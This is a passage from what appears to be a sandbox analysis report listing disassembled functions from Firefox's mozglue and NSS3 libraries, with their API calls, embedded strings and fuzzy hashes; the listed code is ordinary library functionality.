free.MOZGLUE(6CA68273,?), ref: 6CA69D7C
free.MOZGLUE(?,?), ref: 6CA69D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CA69E0F
free.MOZGLUE(6CA6946B,?,?), ref: 6CA69E24
free.MOZGLUE(?,?,?), ref: 6CA69E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CA69EC8
free.MOZGLUE(6CA6946B,?,?,?), ref: 6CA69EDF
free.MOZGLUE(?,?,?,?), ref: 6CA69EF5

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 08e9f6a56b213f8a5b9d7b9dd8bd2829a7524b28d7f3202973df6ac35a2d5709
Instruction ID: df30f005fbdd1936fc3f19275b58f2315909cc608c257623036af1dcbc6cf26a
Opcode Fuzzy Hash: 08e9f6a56b213f8a5b9d7b9dd8bd2829a7524b28d7f3202973df6ac35a2d5709
Instruction Fuzzy Hash: 8E719E70909B41CBC712CF29C64055AF3F4FF99325B449619E89A9BB41EB30E8C9CB81

Function 6CB32C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(1666565D), ref: 6CB32C5D

Part of subcall function 6CB90D30: calloc.MOZGLUE ref: 6CB90D50
Part of subcall function 6CB90D30: TlsGetValue.KERNEL32 ref: 6CB90D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CB32C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB32CE0

Part of subcall function 6CB32E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB32CDA,?,00000000), ref: 6CB32E1E
Part of subcall function 6CB32E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB32E33
Part of subcall function 6CB32E00: TlsGetValue.KERNEL32 ref: 6CB32E4E
Part of subcall function 6CB32E00: EnterCriticalSection.KERNEL32(?), ref: 6CB32E5E
Part of subcall function 6CB32E00: PL_HashTableLookup.NSS3(?), ref: 6CB32E71
Part of subcall function 6CB32E00: PL_HashTableRemove.NSS3(?), ref: 6CB32E84
Part of subcall function 6CB32E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB32E96
Part of subcall function 6CB32E00: PR_Unlock.NSS3 ref: 6CB32EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB32D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CB32D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CB32D3F
free.MOZGLUE(00000000), ref: 6CB32D73
CERT_DestroyCertificate.NSS3(?), ref: 6CB32DB8
free.MOZGLUE ref: 6CB32DC8

Part of subcall function 6CB33E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB33EC2
Part of subcall function 6CB33E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB33ED6
Part of subcall function 6CB33E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB33EEE
Part of subcall function 6CB33E60: PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB33F02
Part of subcall function 6CB33E60: PL_FreeArenaPool.NSS3 ref: 6CB33F14
Part of subcall function 6CB33E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB33F27

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 925d7acabdb1a6539be712ba6455c53d801f55695a187be09feb45e005baa341
Instruction ID: feca66e8a59fe7b1918774209e08b6817472f78f42878398a87ebb9b5ce96807
Opcode Fuzzy Hash: 925d7acabdb1a6539be712ba6455c53d801f55695a187be09feb45e005baa341
Instruction Fuzzy Hash: A351DD71A043B19BEB029E29DC89B5F77E5EF84348F140428EC5D83652EB31E8198BD3

Function 6CB58F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB58FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB58FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB58FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB59013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB59042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB5905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB59073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB590EC

Part of subcall function 6CB20F00: PR_GetPageSize.NSS3(6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F1B
Part of subcall function 6CB20F00: PR_NewLogModule.NSS3(clock,6CB20936,FFFFE8AE,?,6CAB16B7,00000000,?,6CB20936,00000000,?,6CAB204A), ref: 6CB20F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB4DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB59111

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 92d642417ec57bb954d224febebe24f05e9451f3073f8d55f090b1a736f3b231
Instruction ID: 958c9273559020da90341a6e0c8e070a1d5a2430ba591a39fd546f52eaafb930
Opcode Fuzzy Hash: 92d642417ec57bb954d224febebe24f05e9451f3073f8d55f090b1a736f3b231
Instruction Fuzzy Hash: 5051ADB4A042948FCF00EF38C488259BBF4FF09318F454969DC959B705EB31E89ACB92

Function 6CA6DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CA6DDCF

Part of subcall function 6CA4FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA4FA4B

Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA690FF
Part of subcall function 6CA690E0: free.MOZGLUE(?,00000000,?,?,6CA6DEDB), ref: 6CA69108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DE0D
free.MOZGLUE(00000000), ref: 6CA6DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA6DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA5DEFD,?,6CA24A68), ref: 6CA6DF32

Part of subcall function 6CA6DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA6DB86
Part of subcall function 6CA6DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA6DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CA5DEFD,?,6CA24A68), ref: 6CA6DF65
free.MOZGLUE(?), ref: 6CA6DF80

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 903b7ac97c5723b43ec0930f9cce2e861644905e2b69d050942164eee9132bd6
Instruction ID: 4da8bf3f11ccc7f942713d127b3228a4a4e9005e8e38d129eb899ac8e155fc68
Opcode Fuzzy Hash: 903b7ac97c5723b43ec0930f9cce2e861644905e2b69d050942164eee9132bd6
Instruction Fuzzy Hash: 8951E872E017119BD7119F2AD9802AE7372BF91788FA9051CD45A53F00DB31F899CB82

Function 6CA4CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CA131A7), ref: 6CA4CDDD

Strings

<jemalloc>, xrefs: 6CA4CF9F, 6CA4CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CA4CFA4, 6CA4CFB8

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 964ea6a7dd272ba6ce1a71475e9bcb9ee2726d7cc322763af34183b6bf2faa00
Instruction ID: e0388388c1d7291a0be6365f6971e0680b2b9d30478dc7c79b7f9d828f715091
Opcode Fuzzy Hash: 964ea6a7dd272ba6ce1a71475e9bcb9ee2726d7cc322763af34183b6bf2faa00
Instruction Fuzzy Hash: 0531E6307503066BEF14AEA98C47F6E36B5BB41B0CF24C114F619AB680DB70D48987A1

Function 6CACE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CACE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CACE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CACEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CACEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CACEB57

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CACEDC2
foreign key on %s should reference only one column of table %T, xrefs: 6CACEE04
unknown column "%s" in foreign key definition, xrefs: 6CACED18

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: c367e75a7d536ffc15e55b43e721cd250244bcca2ee90dcb34db8895522ab7b9
Instruction ID: 6fa5e566ed3da8c2dd957ea6cffb8c3e7a1d44bf5d89e9c809d83a4c249dd257
Opcode Fuzzy Hash: c367e75a7d536ffc15e55b43e721cd250244bcca2ee90dcb34db8895522ab7b9
Instruction Fuzzy Hash: 40028F71F05109CFDB05CF99C481AAEB7B2FF89318F2981A9D815AB751D731A881CBE1

Function 6CB94DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CB9536F,00000022,?,?,00000000,?), ref: 6CB94E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CB94F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CB94F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CB94FAE
free.MOZGLUE(?), ref: 6CB94FC8

Strings

%s=%c%s%c, xrefs: 6CB94FA9
%s=%s, xrefs: 6CB94F89

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 1f5dbd6add25de42337e08e9c9072982cb35b84fd90d56c7d365f9eaccd898ab
Instruction ID: 12695faf13c1635c7300df855bc374bfeb8d9b5eeda723cf54f91c03de960985
Opcode Fuzzy Hash: 1f5dbd6add25de42337e08e9c9072982cb35b84fd90d56c7d365f9eaccd898ab
Instruction Fuzzy Hash: AD513931A055C68BEF05CA6A84907FF7BF5DF47308F188135E8B9A7A41E32598058FA2

Function 6CB269A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CABCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB1F9C9,?,6CB1F4DA,6CB1F9C9,?,?,6CAE369A), ref: 6CABCA7A
Part of subcall function 6CABCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CABCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB26A02
EnterCriticalSection.KERNEL32(?), ref: 6CB26AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CB26AF9
sqlite3_free.NSS3(00000000), ref: 6CB26B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CB26BA6

Strings

winDelete, xrefs: 6CB26B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB26B9F

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: fede54a62441edac5a0f2e60c0cc6fa4c4a975d9ccfa9d5a29074852e7f21a11
Instruction ID: 2ab77e1426d7e47fc476d14ffb59ea4d031c3cd6d7726a866e691eff666bf328
Opcode Fuzzy Hash: fede54a62441edac5a0f2e60c0cc6fa4c4a975d9ccfa9d5a29074852e7f21a11
Instruction Fuzzy Hash: DE513435B012449FEF08AF65DC59ABF3B75EF47318B14412CE92AD7680DB389906CB92

Function 6CA1ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA1F100: LoadLibraryW.KERNEL32(shell32,?,6CA8D020), ref: 6CA1F122
Part of subcall function 6CA1F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA1F132

moz_xmalloc.MOZGLUE(00000012), ref: 6CA1ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA1EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CA1EDCC
CreateFileW.KERNEL32 ref: 6CA1EE08
free.MOZGLUE(00000000), ref: 6CA1EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CA1EE32

Part of subcall function 6CA1EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CA1EBB5
Part of subcall function 6CA1EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CA4D7F3), ref: 6CA1EBC3
Part of subcall function 6CA1EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CA4D7F3), ref: 6CA1EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CA1EDC1

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a2cc000d4774ad98daa63e6921e959644f39f1de61144b9b760a802282b56c53
Instruction ID: aac2b890b7907843b8ab00b05c5c0eb6df90898997044c02a3aa4f48011eb57b
Opcode Fuzzy Hash: a2cc000d4774ad98daa63e6921e959644f39f1de61144b9b760a802282b56c53
Instruction Fuzzy Hash: 78510471D093049BDB00DF68C9496EEB7B1AF49318F48852DE85567F80E73469C8C7E2

Function 6CC02F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC02FFD
sqlite3_initialize.NSS3 ref: 6CC03007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC03032
sqlite3_mprintf.NSS3(6CC6AAF9,?), ref: 6CC03073
sqlite3_free.NSS3(?), ref: 6CC030B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CC030C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CC030BB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e087375aa54d6775dc0c2fc28de2133693b5644f179cd62c6b319d7b25876f86
Instruction ID: 687278705e60c9e74246f5b3a6cfc10dbb324669d6a1d72772570446f27b71f0
Opcode Fuzzy Hash: e087375aa54d6775dc0c2fc28de2133693b5644f179cd62c6b319d7b25876f86
Instruction Fuzzy Hash: 62419471701A06ABDB00CF25D880A4AB7B5FF44368F198629EC5987B40F732F995CBD1

Function 6CA8A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8A565

Part of subcall function 6CA8A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8A4BE
Part of subcall function 6CA8A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA8A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA8A6B6

Strings

z, xrefs: 6CA8A6AE
0, xrefs: 6CA8A5FB

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ecad710de81610ff78ba4090a836ecb2d1e00380110be58b6a74c280da0ce2e0
Instruction ID: e93b31eff8bc9bd9c30a3604586c9f3d8c2a9b59b957344ee5215320eaaa24ef
Opcode Fuzzy Hash: ecad710de81610ff78ba4090a836ecb2d1e00380110be58b6a74c280da0ce2e0
Instruction Fuzzy Hash: AB413C719097459FC341DF28C080A8FBBE5BF89354F408A2EF49987794E730D989CB82

Function 6CB48CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CB5124D,00000001), ref: 6CB48D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CB5124D,00000001), ref: 6CB48D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CB5124D,00000001), ref: 6CB48D73
PR_Unlock.NSS3(?,?,?,?,?,6CB5124D,00000001), ref: 6CB48D8C

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CB5124D,00000001), ref: 6CB48DBA

Strings

KRAM, xrefs: 6CB48CF9
KRAM, xrefs: 6CB48D3E

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 2a15b1673051c24364ea14211d806e60f0fb766897bb1f7f204a76b675a0ed57
Instruction ID: 3d048a828c9f517282f78411de5bafb4e7565c0c92076b6c1f1cd3d172813803
Opcode Fuzzy Hash: 2a15b1673051c24364ea14211d806e60f0fb766897bb1f7f204a76b675a0ed57
Instruction Fuzzy Hash: F02159B5A096518BCB00AF38C48456ABBF0FF45308F15C96AD999C7705E735E841CB92

Function 6CC40ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC40EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC40EFA

Part of subcall function 6CB2AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB2AF0E

